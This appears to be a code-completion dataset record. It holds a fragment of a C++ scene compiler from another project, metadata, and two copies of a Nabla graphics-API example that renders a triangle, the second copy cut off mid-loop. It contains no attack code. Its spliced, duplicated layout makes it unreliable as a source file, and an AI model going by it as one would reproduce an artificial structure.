ce_array_size(output->ib_offset)); ce_cdb_a0->set_blob(w, SCENE_VB_OFFSET, output->vb_offset, sizeof(*output->vb_offset) * ce_array_size(output->vb_offset)); ce_cdb_a0->set_blob(w, SCENE_VB_DECL, output->vb_decl, sizeof(*output->vb_decl) * ce_array_size(output->vb_decl)); ce_cdb_a0->set_blob(w, SCENE_IB_SIZE, output->ib_size, sizeof(*output->ib_size) * ce_array_size(output->ib_size)); ce_cdb_a0->set_blob(w, SCENE_VB_SIZE, output->vb_size, sizeof(*output->vb_size) * ce_array_size(output->vb_size)); ce_cdb_a0->set_blob(w, SCENE_IB_PROP, output->ib, sizeof(*output->ib) * ce_array_size(output->ib)); ce_cdb_a0->set_blob(w, SCENE_VB_PROP, output->vb, sizeof(*output->vb) * ce_array_size(output->vb)); ce_cdb_a0->set_blob(w, SCENE_NODE_NAME, output->node_name, sizeof(*output->node_name) * ce_array_size(output->node_name)); ce_cdb_a0->set_blob(w, SCENE_NODE_PARENT, output->node_parent, sizeof(*output->node_parent) * ce_array_size(output->node_parent)); ce_cdb_a0->set_blob(w, SCENE_NODE_POSE, output->node_pose, sizeof(*output->node_pose) * ce_array_size(output->node_pose)); ce_cdb_a0->set_blob(w, SCENE_NODE_GEOM, output->geom_node, sizeof(*output->geom_node) * ce_array_size(output->geom_node)); ce_cdb_a0->set_blob(w, SCENE_GEOM_STR, output->geom_str, sizeof(*output->geom_str) * ce_array_size(output->geom_str)); ce_cdb_a0->set_blob(w, SCENE_NODE_STR, output->node_str, sizeof(*output->node_str) * ce_array_size(output->node_str)); ce_cdb_a0->write_commit(w); _destroy_compile_output(output); return obj; } extern "C" int scenecompiler_init(struct ce_api_a0 *api) { CE_INIT_API(api, ce_memory_a0); CE_INIT_API(api, ct_resource_a0); CE_INIT_API(api, ce_os_a0); CE_INIT_API(api, ce_id_a0); CE_INIT_API(api, ce_ydb_a0); CE_INIT_API(api, ce_ydb_a0); CE_INIT_API(api, ct_renderer_a0); _G = (struct _G) {.allocator=ce_memory_a0->system}; return 1; }
struct compile_output *_crete_compile_output() { struct compile_output *output = CE_ALLOC(_G.allocator, struct compile_output, sizeof(struct compile_output)); *output = {}; return output; }
function_block-full_function
[ { "content": "#ifndef CECORE_ALLOCATOR_H\n\n#define CECORE_ALLOCATOR_H\n\n\n\n#include <stdint.h>\n\n#include <stddef.h>\n\n\n\n\n\n#define CE_ALLOC(a, T, size) \\\n\n (T*)((a)->reallocate((a), \\\n\n NULL, \\\n\n ...
C++
examples_tests/50.NewAPITest/main.cpp
deprilula28/Nabla
6b5de216221718191713dcf6de8ed6407182ddf0
#define _NBL_STATIC_LIB_ #include <nabla.h> #include <iostream> #include <cstdio> #include "CFileSystem.h" #if defined(_NBL_PLATFORM_WINDOWS_) #include <nbl/ui/CWindowWin32.h> using CWindowT = nbl::ui::CWindowWin32; #elif defined(_NBL_PLATFORM_LINUX_) #ifdef _NBL_TEST_WAYLAND #include <nbl/ui/CWindowWayland.h> using CWindowT = nbl::ui::CWindowWayland; #else #include <nbl/ui/CWindowX11.h> using CWindowT = nbl::ui::CWindowX11; #endif #endif using namespace nbl; static void debugCallback(video::E_DEBUG_MESSAGE_SEVERITY severity, video::E_DEBUG_MESSAGE_TYPE type, const char* msg, void* userData) { const char* sev = nullptr; switch (severity) { case video::EDMS_VERBOSE: sev = "verbose"; break; case video::EDMS_INFO: sev = "info"; break; case video::EDMS_WARNING: sev = "warning"; break; case video::EDMS_ERROR: sev = "error"; break; } std::cout << "OpenGL " << sev << ": " << msg << std::endl; } int main() { constexpr uint32_t WIN_W = 800u; constexpr uint32_t WIN_H = 600u; constexpr uint32_t SC_IMG_COUNT = 3u; const char* vs_source = R"(#version 430 layout (location = 0) in vec2 Pos; layout (location = 1) in vec3 Color; layout (location = 0) out vec3 OutColor; void main() { OutColor = Color; gl_Position = vec4(Pos, 0.0, 1.0); } )"; const char* fs_source = R"(#version 430 layout (location = 0) in vec3 InColor; layout (location = 0) out vec4 OutColor; void main() { OutColor = vec4(InColor, 1.0); } )"; auto win2 = CWindowT::create(WIN_W, WIN_H, ui::IWindow::ECF_NONE); auto win = CWindowT::create(WIN_W, WIN_H, ui::IWindow::ECF_NONE); core::smart_refctd_ptr<video::IAPIConnection> api; #if 0 { std::cout << R"( Choose Graphics API: 0) Vulkan 1) OpenGL ES 2) OpenGL core )" << std::endl; uint8_t apiType; std::cin >> apiType; switch (apiType) { case 1: api = video::COpenGLConnection::create(0,"New API Test",std::move(logger_smart_ptr)); break; case 2: api = video::COpenGLESConnection::create(0,"New API Test",std::move(logger_smart_ptr)); break; default: api = video::CVulkanConnection::create(0, "New API Test", std::move(logger_smart_ptr)); break; } } #else { video::SDebugCallback dbgcb; dbgcb.callback = &debugCallback; dbgcb.userData = nullptr; api = video::IAPIConnection::create(video::EAT_OPENGL, 0, "New API Test", dbgcb); } #endif auto surface = api->createSurface(win.get()); auto surface2 = api->createSurface(win2.get()); auto gpus = api->getPhysicalDevices(); assert(!gpus.empty()); auto gpu = gpus.begin()[0]; assert(surface->isSupported(gpu.get(), 0u)); video::ILogicalDevice::SCreationParams dev_params; dev_params.queueParamsCount = 1u; video::ILogicalDevice::SQueueCreationParams q_params; q_params.familyIndex = 0u; q_params.count = 4u; q_params.flags = static_cast<video::IGPUQueue::E_CREATE_FLAGS>(0); float priority[4] = {1.f,1.f,1.f,1.f}; q_params.priorities = priority; dev_params.queueCreateInfos = &q_params; auto device = gpu->createLogicalDevice(dev_params); auto* queue = device->getQueue(0u, 0u); auto* queue2 = device->getQueue(0u, 1u); auto fs = core::make_smart_refctd_ptr<io::CFileSystem>(""); auto am = core::make_smart_refctd_ptr<asset::IAssetManager>(std::move(fs)); asset::IAssetLoader::SAssetLoadParams lp; auto bundle = am->getAsset("../../media/dwarf.jpg", lp); assert(!bundle.getContents().empty()); video::IGPUObjectFromAssetConverter cpu2gpu; video::IGPUObjectFromAssetConverter::SParams c2gparams; c2gparams.device = device.get(); c2gparams.perQueue[video::IGPUObjectFromAssetConverter::EQU_TRANSFER].queue = queue; c2gparams.perQueue[video::IGPUObjectFromAssetConverter::EQU_COMPUTE].queue = queue2; c2gparams.finalQueueFamIx = queue->getFamilyIndex(); c2gparams.sharingMode = asset::ESM_CONCURRENT; c2gparams.limits = gpu->getLimits(); c2gparams.assetManager = am.get(); auto gpuimgs = cpu2gpu.getGPUObjectsFromAssets<asset::ICPUImage>(bundle.getContents(), c2gparams); auto gpuimg = (*gpuimgs)[0]; core::smart_refctd_ptr<video::ISwapchain> sc; { video::ISwapchain::SCreationParams sc_params; sc_params.width = WIN_W; sc_params.height = WIN_H; sc_params.arrayLayers = 1u; sc_params.minImageCount = SC_IMG_COUNT; sc_params.presentMode = video::ISurface::EPM_FIFO_RELAXED; sc_params.surface = surface; sc_params.surfaceFormat.format = asset::EF_R8G8B8A8_SRGB; sc_params.surfaceFormat.colorSpace.eotf = asset::EOTF_sRGB; sc_params.surfaceFormat.colorSpace.primary = asset::ECP_SRGB; sc = device->createSwapchain(std::move(sc_params)); assert(sc); } core::smart_refctd_ptr<video::ISwapchain> sc2; { video::ISwapchain::SCreationParams sc_params; sc_params.width = WIN_W; sc_params.height = WIN_H; sc_params.arrayLayers = 1u; sc_params.minImageCount = SC_IMG_COUNT; sc_params.presentMode = video::ISurface::EPM_FIFO_RELAXED; sc_params.surface = surface2; sc_params.surfaceFormat.format = asset::EF_R8G8B8A8_SRGB; sc_params.surfaceFormat.colorSpace.eotf = asset::EOTF_sRGB; sc_params.surfaceFormat.colorSpace.primary = asset::ECP_SRGB; sc2 = device->createSwapchain(std::move(sc_params)); assert(sc2); } core::smart_refctd_ptr<video::IGPURenderpass> renderpass; { video::IGPURenderpass::SCreationParams::SAttachmentDescription a; a.initialLayout = asset::EIL_UNDEFINED; a.finalLayout = asset::EIL_UNDEFINED; a.format = asset::EF_R8G8B8A8_SRGB; a.samples = asset::IImage::ESCF_1_BIT; a.loadOp = video::IGPURenderpass::ELO_CLEAR; a.storeOp = video::IGPURenderpass::ESO_STORE; video::IGPURenderpass::SCreationParams::SSubpassDescription::SAttachmentRef colorAttRef; colorAttRef.attachment = 0u; colorAttRef.layout = asset::EIL_UNDEFINED; video::IGPURenderpass::SCreationParams::SSubpassDescription sp; sp.colorAttachmentCount = 1u; sp.colorAttachments = &colorAttRef; sp.depthStencilAttachment = nullptr; sp.flags = video::IGPURenderpass::ESDF_NONE; sp.inputAttachmentCount = 0u; sp.inputAttachments = nullptr; sp.preserveAttachmentCount = 0u; sp.preserveAttachments = nullptr; sp.resolveAttachments = nullptr; video::IGPURenderpass::SCreationParams rp_params; rp_params.attachmentCount = 1u; rp_params.attachments = &a; rp_params.dependencies = nullptr; rp_params.dependencyCount = 0u; rp_params.subpasses = &sp; rp_params.subpassCount = 1u; renderpass = device->createGPURenderpass(rp_params); } auto sc_images = sc->getImages(); assert(sc_images.size() == SC_IMG_COUNT); core::smart_refctd_ptr<video::IGPUFramebuffer> fbo[SC_IMG_COUNT]; for (uint32_t i = 0u; i < sc_images.size(); ++i) { auto img = sc_images.begin()[i]; core::smart_refctd_ptr<video::IGPUImageView> view; { video::IGPUImageView::SCreationParams view_params; view_params.format = img->getCreationParameters().format; view_params.viewType = asset::IImageView<video::IGPUImage>::ET_2D; view_params.subresourceRange.baseMipLevel = 0u; view_params.subresourceRange.levelCount = 1u; view_params.subresourceRange.baseArrayLayer = 0u; view_params.subresourceRange.layerCount = 1u; view_params.image = std::move(img); view = device->createGPUImageView(std::move(view_params)); assert(view); } video::IGPUFramebuffer::SCreationParams fb_params; fb_params.width = WIN_W; fb_params.height = WIN_H; fb_params.layers = 1u; fb_params.renderpass = renderpass; fb_params.flags = static_cast<video::IGPUFramebuffer::E_CREATE_FLAGS>(0); fb_params.attachmentCount = 1u; fb_params.attachments = &view; fbo[i] = device->createGPUFramebuffer(std::move(fb_params)); assert(fbo[i]); } auto cmdpool = device->createCommandPool(0u, static_cast<video::IGPUCommandPool::E_CREATE_FLAGS>(0)); assert(cmdpool); #include "nbl/nblpack.h" struct SVertex { float pos[2]; float color[3]; } PACK_STRUCT; #include "nbl/nblunpack.h" auto layout = device->createGPUPipelineLayout(); assert(layout); core::smart_refctd_ptr<video::IGPURenderpassIndependentPipeline> rpindependent_pipeline; { auto vs_unspec = device->createGPUShader(core::make_smart_refctd_ptr<asset::ICPUShader>(vs_source)); auto fs_unspec = device->createGPUShader(core::make_smart_refctd_ptr<asset::ICPUShader>(fs_source)); asset::ISpecializedShader::SInfo vsinfo(nullptr, nullptr, "main", asset::ISpecializedShader::ESS_VERTEX, "vs"); auto vs = device->createGPUSpecializedShader(vs_unspec.get(), vsinfo); asset::ISpecializedShader::SInfo fsinfo(nullptr, nullptr, "main", asset::ISpecializedShader::ESS_FRAGMENT, "fs"); auto fs = device->createGPUSpecializedShader(fs_unspec.get(), fsinfo); video::IGPUSpecializedShader* shaders[2]{ vs.get(), fs.get() }; asset::SVertexInputParams vtxinput; vtxinput.attributes[0].binding = 0; vtxinput.attributes[0].format = asset::EF_R32G32_SFLOAT; vtxinput.attributes[0].relativeOffset = offsetof(SVertex, pos); vtxinput.attributes[1].binding = 0; vtxinput.attributes[1].format = asset::EF_R32G32B32_SFLOAT; vtxinput.attributes[1].relativeOffset = offsetof(SVertex, color); vtxinput.bindings[0].inputRate = asset::EVIR_PER_VERTEX; vtxinput.bindings[0].stride = sizeof(SVertex); vtxinput.enabledAttribFlags = 0b0011; vtxinput.enabledBindingFlags = 0b0001; asset::SRasterizationParams raster; raster.depthTestEnable = 0; raster.depthWriteEnable = 0; raster.faceCullingMode = asset::EFCM_NONE; asset::SPrimitiveAssemblyParams primitive; primitive.primitiveType = asset::EPT_TRIANGLE_LIST; asset::SBlendParams blend; rpindependent_pipeline = device->createGPURenderpassIndependentPipeline(nullptr, core::smart_refctd_ptr(layout), shaders, shaders+2, vtxinput, blend, primitive, raster); assert(rpindependent_pipeline); } core::smart_refctd_ptr<video::IGPUGraphicsPipeline> pipeline; { video::IGPUGraphicsPipeline::SCreationParams gp_params; gp_params.rasterizationSamplesHint = asset::IImage::ESCF_1_BIT; gp_params.renderpass = renderpass; gp_params.renderpassIndependent = rpindependent_pipeline; gp_params.subpassIx = 0u; pipeline = device->createGPUGraphicsPipeline(nullptr, std::move(gp_params)); } core::smart_refctd_ptr<video::IGPUBuffer> buffer; { const SVertex vertices[3]{ {{0.0f, -0.5f}, {1.0f, 0.0f, 0.0f}}, {{0.5f, 0.5f}, {0.0f, 1.0f, 0.0f}}, {{-0.5f, 0.5f}, {0.0f, 0.0f, 1.0f}} }; video::IDriverMemoryBacked::SDriverMemoryRequirements mreq; auto mreqs = device->getDeviceLocalGPUMemoryReqs(); mreqs.vulkanReqs.size = sizeof(vertices); buffer = device->createGPUBufferOnDedMem(mreqs, true); assert(buffer); core::smart_refctd_ptr<video::IGPUCommandBuffer> cb; device->createCommandBuffers(cmdpool.get(), video::IGPUCommandBuffer::EL_PRIMARY, 1u, &cb); assert(cb); cb->begin(video::IGPUCommandBuffer::EU_ONE_TIME_SUBMIT_BIT); asset::SViewport vp; vp.minDepth = 1.f; vp.maxDepth = 0.f; vp.x = 0u; vp.y = 0u; vp.width = WIN_W; vp.height = WIN_H; cb->setViewport(0u, 1u, &vp); cb->updateBuffer(buffer.get(), 0u, sizeof(vertices), vertices); video::IGPUCommandBuffer::SBufferMemoryBarrier bufMemBarrier; bufMemBarrier.srcQueueFamilyIndex = 0u; bufMemBarrier.dstQueueFamilyIndex = 0u; bufMemBarrier.offset = 0u; bufMemBarrier.size = buffer->getSize(); bufMemBarrier.buffer = buffer; bufMemBarrier.barrier.srcAccessMask = asset::EAF_TRANSFER_WRITE_BIT; bufMemBarrier.barrier.dstAccessMask = asset::EAF_VERTEX_ATTRIBUTE_READ_BIT; cb->pipelineBarrier(asset::EPSF_TRANSFER_BIT, asset::EPSF_VERTEX_INPUT_BIT, 0, 0u, nullptr, 1u, &bufMemBarrier, 0u, nullptr); cb->end(); video::IGPUQueue::SSubmitInfo info; auto* cb_ = cb.get(); info.commandBufferCount = 1u; info.commandBuffers = &cb_; info.pSignalSemaphores = nullptr; info.signalSemaphoreCount = 0u; info.pWaitSemaphores = nullptr; info.waitSemaphoreCount = 0u; info.pWaitDstStageMask = nullptr; queue->submit(1u, &info, nullptr); } core::smart_refctd_ptr<video::IGPUCommandBuffer> cmdbuf[SC_IMG_COUNT]; device->createCommandBuffers(cmdpool.get(), video::IGPUCommandBuffer::EL_PRIMARY, SC_IMG_COUNT, cmdbuf); for (uint32_t i = 0u; i < SC_IMG_COUNT; ++i) { auto& cb = cmdbuf[i]; auto& fb = fbo[i]; cb->begin(0); const video::IGPUBuffer* buf = buffer.get(); size_t offset = 0u; cb->bindVertexBuffers(0u,1u,&buf,&offset); cb->bindGraphicsPipeline(pipeline.get()); video::IGPUCommandBuffer::SRenderpassBeginInfo info; asset::SClearValue clear; asset::VkRect2D area; area.offset = { 0, 0 }; area.extent = { WIN_W, WIN_H }; clear.color.float32[0] = 1.f; clear.color.float32[1] = 0.f; clear.color.float32[2] = 0.f; clear.color.float32[3] = 1.f; info.renderpass = renderpass; info.framebuffer = fb; info.clearValueCount = 1u; info.clearValues = &clear; info.renderArea = area; cb->beginRenderPass(&info, asset::ESC_INLINE); cb->draw(3u, 1u, 0u, 0u); cb->endRenderPass(); cb->end(); } constexpr uint32_t FRAME_COUNT = 5000u; constexpr uint64_t MAX_TIMEOUT = 99999999999999ull; for (uint32_t i = 0u; i < FRAME_COUNT; ++i) { auto img_acq_sem = device->createSemaphore(); auto render_finished_sem = device->createSemaphore(); uint32_t imgnum = 0u; sc->acquireNextImage(MAX_TIMEOUT, img_acq_sem.get(), nullptr, &imgnum); video::IGPUQueue::SSubmitInfo submit; { auto* cb = cmdbuf[imgnum].get(); submit.commandBufferCount = 1u; submit.commandBuffers = &cb; video::IGPUSemaphore* signalsem = render_finished_sem.get(); submit.signalSemaphoreCount = 1u; submit.pSignalSemaphores = &signalsem; video::IGPUSemaphore* waitsem = img_acq_sem.get(); asset::E_PIPELINE_STAGE_FLAGS dstWait = asset::EPSF_COLOR_ATTACHMENT_OUTPUT_BIT; submit.waitSemaphoreCount = 1u; submit.pWaitSemaphores = &waitsem; submit.pWaitDstStageMask = &dstWait; queue->submit(1u, &submit, nullptr); } video::IGPUQueue::SPresentInfo present; { present.swapchainCount = 1u; present.imgIndices = &imgnum; video::ISwapchain* swapchain = sc.get(); present.swapchains = &swapchain; video::IGPUSemaphore* waitsem = render_finished_sem.get(); present.waitSemaphoreCount = 1u; present.waitSemaphores = &waitsem; queue->present(present); } } device->waitIdle(); return 0; }
#define _NBL_STATIC_LIB_ #include <nabla.h> #include <iostream> #include <cstdio> #include "CFileSystem.h" #if defined(_NBL_PLATFORM_WINDOWS_) #include <nbl/ui/CWindowWin32.h> using CWindowT = nbl::ui::CWindowWin32; #elif defined(_NBL_PLATFORM_LINUX_) #ifdef _NBL_TEST_WAYLAND #include <nbl/ui/CWindowWayland.h> using CWindowT = nbl::ui::CWindowWayland; #else #include <nbl/ui/CWindowX11.h> using CWindowT = nbl::ui::CWindowX11; #endif #endif using namespace nbl;
int main() { constexpr uint32_t WIN_W = 800u; constexpr uint32_t WIN_H = 600u; constexpr uint32_t SC_IMG_COUNT = 3u; const char* vs_source = R"(#version 430 layout (location = 0) in vec2 Pos; layout (location = 1) in vec3 Color; layout (location = 0) out vec3 OutColor; void main() { OutColor = Color; gl_Position = vec4(Pos, 0.0, 1.0); } )"; const char* fs_source = R"(#version 430 layout (location = 0) in vec3 InColor; layout (location = 0) out vec4 OutColor; void main() { OutColor = vec4(InColor, 1.0); } )"; auto win2 = CWindowT::create(WIN_W, WIN_H, ui::IWindow::ECF_NONE); auto win = CWindowT::create(WIN_W, WIN_H, ui::IWindow::ECF_NONE); core::smart_refctd_ptr<video::IAPIConnection> api; #if 0 { std::cout << R"( Choose Graphics API: 0) Vulkan 1) OpenGL ES 2) OpenGL core )" << std::endl; uint8_t apiType; std::cin >> apiType; switch (apiType) { case 1: api = video::COpenGLConnection::create(0,"New API Test",std::move(logger_smart_ptr)); break; case 2: api = video::COpenGLESConnection::create(0,"New API Test",std::move(logger_smart_ptr)); break; default: api = video::CVulkanConnection::create(0, "New API Test", std::move(logger_smart_ptr)); break; } } #else { video::SDebugCallback dbgcb; dbgcb.callback = &debugCallback; dbgcb.userData = nullptr; api = video::IAPIConnection::create(video::EAT_OPENGL, 0, "New API Test", dbgcb); } #endif auto surface = api->createSurface(win.get()); auto surface2 = api->createSurface(win2.get()); auto gpus = api->getPhysicalDevices(); assert(!gpus.empty()); auto gpu = gpus.begin()[0]; assert(surface->isSupported(gpu.get(), 0u)); video::ILogicalDevice::SCreationParams dev_params; dev_params.queueParamsCount = 1u; video::ILogicalDevice::SQueueCreationParams q_params; q_params.familyIndex = 0u; q_params.count = 4u; q_params.flags = static_cast<video::IGPUQueue::E_CREATE_FLAGS>(0); float priority[4] = {1.f,1.f,1.f,1.f}; q_params.priorities = priority; dev_params.queueCreateInfos = &q_params; auto device = gpu->createLogicalDevice(dev_params); auto* queue = device->getQueue(0u, 0u); auto* queue2 = device->getQueue(0u, 1u); auto fs = core::make_smart_refctd_ptr<io::CFileSystem>(""); auto am = core::make_smart_refctd_ptr<asset::IAssetManager>(std::move(fs)); asset::IAssetLoader::SAssetLoadParams lp; auto bundle = am->getAsset("../../media/dwarf.jpg", lp); assert(!bundle.getContents().empty()); video::IGPUObjectFromAssetConverter cpu2gpu; video::IGPUObjectFromAssetConverter::SParams c2gparams; c2gparams.device = device.get(); c2gparams.perQueue[video::IGPUObjectFromAssetConverter::EQU_TRANSFER].queue = queue; c2gparams.perQueue[video::IGPUObjectFromAssetConverter::EQU_COMPUTE].queue = queue2; c2gparams.finalQueueFamIx = queue->getFamilyIndex(); c2gparams.sharingMode = asset::ESM_CONCURRENT; c2gparams.limits = gpu->getLimits(); c2gparams.assetManager = am.get(); auto gpuimgs = cpu2gpu.getGPUObjectsFromAssets<asset::ICPUImage>(bundle.getContents(), c2gparams); auto gpuimg = (*gpuimgs)[0]; core::smart_refctd_ptr<video::ISwapchain> sc; { video::ISwapchain::SCreationParams sc_params; sc_params.width = WIN_W; sc_params.height = WIN_H; sc_params.arrayLayers = 1u; sc_params.minImageCount = SC_IMG_COUNT; sc_params.presentMode = video::ISurface::EPM_FIFO_RELAXED; sc_params.surface = surface; sc_params.surfaceFormat.format = asset::EF_R8G8B8A8_SRGB; sc_params.surfaceFormat.colorSpace.eotf = asset::EOTF_sRGB; sc_params.surfaceFormat.colorSpace.primary = asset::ECP_SRGB; sc = device->createSwapchain(std::move(sc_params)); assert(sc); } core::smart_refctd_ptr<video::ISwapchain> sc2; { video::ISwapchain::SCreationParams sc_params; sc_params.width = WIN_W; sc_params.height = WIN_H; sc_params.arrayLayers = 1u; sc_params.minImageCount = SC_IMG_COUNT; sc_params.presentMode = video::ISurface::EPM_FIFO_RELAXED; sc_params.surface = surface2; sc_params.surfaceFormat.format = asset::EF_R8G8B8A8_SRGB; sc_params.surfaceFormat.colorSpace.eotf = asset::EOTF_sRGB; sc_params.surfaceFormat.colorSpace.primary = asset::ECP_SRGB; sc2 = device->createSwapchain(std::move(sc_params)); assert(sc2); } core::smart_refctd_ptr<video::IGPURenderpass> renderpass; { video::IGPURenderpass::SCreationParams::SAttachmentDescription a; a.initialLayout = asset::EIL_UNDEFINED; a.finalLayout = asset::EIL_UNDEFINED; a.format = asset::EF_R8G8B8A8_SRGB; a.samples = asset::IImage::ESCF_1_BIT; a.loadOp = video::IGPURenderpass::ELO_CLEAR; a.storeOp = video::IGPURenderpass::ESO_STORE; video::IGPURenderpass::SCreationParams::SSubpassDescription::SAttachmentRef colorAttRef; colorAttRef.attachment = 0u; colorAttRef.layout = asset::EIL_UNDEFINED; video::IGPURenderpass::SCreationParams::SSubpassDescription sp; sp.colorAttachmentCount = 1u; sp.colorAttachments = &colorAttRef; sp.depthStencilAttachment = nullptr; sp.flags = video::IGPURenderpass::ESDF_NONE; sp.inputAttachmentCount = 0u; sp.inputAttachments = nullptr; sp.preserveAttachmentCount = 0u; sp.preserveAttachments = nullptr; sp.resolveAttachments = nullptr; video::IGPURenderpass::SCreationParams rp_params; rp_params.attachmentCount = 1u; rp_params.attachments = &a; rp_params.dependencies = nullptr; rp_params.dependencyCount = 0u; rp_params.subpasses = &sp; rp_params.subpassCount = 1u; renderpass = device->createGPURenderpass(rp_params); } auto sc_images = sc->getImages(); assert(sc_images.size() == SC_IMG_COUNT); core::smart_refctd_ptr<video::IGPUFramebuffer> fbo[SC_IMG_COUNT]; for (uint32_t i = 0u; i < sc_images.size(); ++i) { auto img = sc_images.begin()[i]; core::smart_refctd_ptr<video::IGPUImageView> view; { video::IGPUImageView::SCreationParams view_params; view_params.format = img->getCreationParameters().format; view_params.viewType = asset::IImageView<video::IGPUImage>::ET_2D; view_params.subresourceRange.baseMipLevel = 0u; view_params.subresourceRange.levelCount = 1u; view_params.subresourceRange.baseArrayLayer = 0u; view_params.subresourceRange.layerCount = 1u; view_params.image = std::move(img); view = device->createGPUImageView(std::move(view_params)); assert(view); } video::IGPUFramebuffer::SCreationParams fb_params; fb_params.width = WIN_W; fb_params.height = WIN_H; fb_params.layers = 1u; fb_params.renderpass = renderpass; fb_params.flags = static_cast<video::IGPUFramebuffer::E_CREATE_FLAGS>(0); fb_params.attachmentCount = 1u; fb_params.attachments = &view; fbo[i] = device->createGPUFramebuffer(std::move(fb_params)); assert(fbo[i]); } auto cmdpool = device->createCommandPool(0u, static_cast<video::IGPUCommandPool::E_CREATE_FLAGS>(0)); assert(cmdpool); #include "nbl/nblpack.h" struct SVertex { float pos[2]; float color[3]; } PACK_STRUCT; #include "nbl/nblunpack.h" auto layout = device->createGPUPipelineLayout(); assert(layout); core::smart_refctd_ptr<video::IGPURenderpassIndependentPipeline> rpindependent_pipeline; { auto vs_unspec = device->createGPUShader(core::make_smart_refctd_ptr<asset::ICPUShader>(vs_source)); auto fs_unspec = device->createGPUShader(core::make_smart_refctd_ptr<asset::ICPUShader>(fs_source)); asset::ISpecializedShader::SInfo vsinfo(nullptr, nullptr, "main", asset::ISpecializedShader::ESS_VERTEX, "vs"); auto vs = device->createGPUSpecializedShader(vs_unspec.get(), vsinfo); asset::ISpecializedShader::SInfo fsinfo(nullptr, nullptr, "main", asset::ISpecializedShader::ESS_FRAGMENT, "fs"); auto fs = device->createGPUSpecializedShader(fs_unspec.get(), fsinfo); video::IGPUSpecializedShader* shaders[2]{ vs.get(), fs.get() }; asset::SVertexInputParams vtxinput; vtxinput.attributes[0].binding = 0; vtxinput.attributes[0].format = asset::EF_R32G32_SFLOAT; vtxinput.attributes[0].relativeOffset = offsetof(SVertex, pos); vtxinput.attributes[1].binding = 0; vtxinput.attributes[1].format = asset::EF_R32G32B32_SFLOAT; vtxinput.attributes[1].relativeOffset = offsetof(SVertex, color); vtxinput.bindings[0].inputRate = asset::EVIR_PER_VERTEX; vtxinput.bindings[0].stride = sizeof(SVertex); vtxinput.enabledAttribFlags = 0b0011; vtxinput.enabledBindingFlags = 0b0001; asset::SRasterizationParams raster; raster.depthTestEnable = 0; raster.depthWriteEnable = 0; raster.faceCullingMode = asset::EFCM_NONE; asset::SPrimitiveAssemblyParams primitive; primitive.primitiveType = asset::EPT_TRIANGLE_LIST; asset::SBlendParams blend; rpindependent_pipeline = device->createGPURenderpassIndependentPipeline(nullptr, core::smart_refctd_ptr(layout), shaders, shaders+2, vtxinput, blend, primitive, raster); assert(rpindependent_pipeline); } core::smart_refctd_ptr<video::IGPUGraphicsPipeline> pipeline; { video::IGPUGraphicsPipeline::SCreationParams gp_params; gp_params.rasterizationSamplesHint = asset::IImage::ESCF_1_BIT; gp_params.renderpass = renderpass; gp_params.renderpassIndependent = rpindependent_pipeline; gp_params.subpassIx = 0u; pipeline = device->createGPUGraphicsPipeline(nullptr, std::move(gp_params)); } core::smart_refctd_ptr<video::IGPUBuffer> buffer; { const SVertex vertices[3]{ {{0.0f, -0.5f}, {1.0f, 0.0f, 0.0f}}, {{0.5f, 0.5f}, {0.0f, 1.0f, 0.0f}}, {{-0.5f, 0.5f}, {0.0f, 0.0f, 1.0f}} }; video::IDriverMemoryBacked::SDriverMemoryRequirements mreq; auto mreqs = device->getDeviceLocalGPUMemoryReqs(); mreqs.vulkanReqs.size = sizeof(vertices); buffer = device->createGPUBufferOnDedMem(mreqs, true); assert(buffer); core::smart_refctd_ptr<video::IGPUCommandBuffer> cb; device->createCommandBuffers(cmdpool.get(), video::IGPUCommandBuffer::EL_PRIMARY, 1u, &cb); assert(cb); cb->begin(video::IGPUCommandBuffer::EU_ONE_TIME_SUBMIT_BIT); asset::SViewport vp; vp.minDepth = 1.f; vp.maxDepth = 0.f; vp.x = 0u; vp.y = 0u; vp.width = WIN_W; vp.height = WIN_H; cb->setViewport(0u, 1u, &vp); cb->updateBuffer(buffer.get(), 0u, sizeof(vertices), vertices); video::IGPUCommandBuffer::SBufferMemoryBarrier bufMemBarrier; bufMemBarrier.srcQueueFamilyIndex = 0u; bufMemBarrier.dstQueueFamilyIndex = 0u; bufMemBarrier.offset = 0u; bufMemBarrier.size = buffer->getSize(); bufMemBarrier.buffer = buffer; bufMemBarrier.barrier.srcAccessMask = asset::EAF_TRANSFER_WRITE_BIT; bufMemBarrier.barrier.dstAccessMask = asset::EAF_VERTEX_ATTRIBUTE_READ_BIT; cb->pipelineBarrier(asset::EPSF_TRANSFER_BIT, asset::EPSF_VERTEX_INPUT_BIT, 0, 0u, nullptr, 1u, &bufMemBarrier, 0u, nullptr); cb->end(); video::IGPUQueue::SSubmitInfo info; auto* cb_ = cb.get(); info.commandBufferCount = 1u; info.commandBuffers = &cb_; info.pSignalSemaphores = nullptr; info.signalSemaphoreCount = 0u; info.pWaitSemaphores = nullptr; info.waitSemaphoreCount = 0u; info.pWaitDstStageMask = nullptr; queue->submit(1u, &info, nullptr); } core::smart_refctd_ptr<video::IGPUCommandBuffer> cmdbuf[SC_IMG_COUNT]; device->createCommandBuffers(cmdpool.get(), video::IGPUCommandBuffer::EL_PRIMARY, SC_IMG_COUNT, cmdbuf); for (uint32_t i = 0u; i < SC_IMG_COUNT; ++i) { auto& cb = cmdbuf[i]; auto& fb = fbo[i]; cb->begin(0); const video::IGPUBuffer* buf = buffer.get(); size_t offset = 0u; cb->bindVertexBuffers(0u,1u,&buf,&offset); cb->bindGraphicsPipeline(pipeline.get()); video::IGPUCommandBuffer::SRenderpassBeginInfo info; asset::SClearValue clear; asset::VkRect2D area; area.offset = { 0, 0 }; area.extent = { WIN_W, WIN_H }; clear.color.float32[0] = 1.f; clear.color.float32[1] = 0.f; clear.color.float32[2] = 0.f; clear.color.float32[3] = 1.f; info.renderpass = renderpass; info.framebuffer = fb; info.clearValueCount = 1u; info.clearValues = &clear; info.renderArea = area; cb->beginRenderPass(&info, asset::ESC_INLINE); cb->draw(3u, 1u, 0u, 0u); cb->endRenderPass(); cb->end(); } constexpr uint32_t FRAME_COUNT = 5000u; constexpr uint64_t MAX_TIMEOUT = 99999999999999ull; for (uint32_t i = 0u; i < FRAME_COUNT; ++i) { auto img_acq_sem = device->createSemaphore(); auto render_finished_sem = device->createSemaphore(); uint32_t imgnum = 0u; sc->acquireNextImage(MAX_TIMEOUT, img_acq_sem.get(), nullptr, &imgnum); video::IGPUQueue::SSubmitInfo submit; { auto* cb = cmdbuf[imgnum].get(); submit.commandBufferCount = 1u; submit.commandBuffers = &cb; video::IGPUSemaphore* signalsem = render_finished_sem.get(); submit.signalSemaphoreCount = 1u; submit.pSignalSemaphores = &signalsem; video::IGPUSemaphore* waitsem = 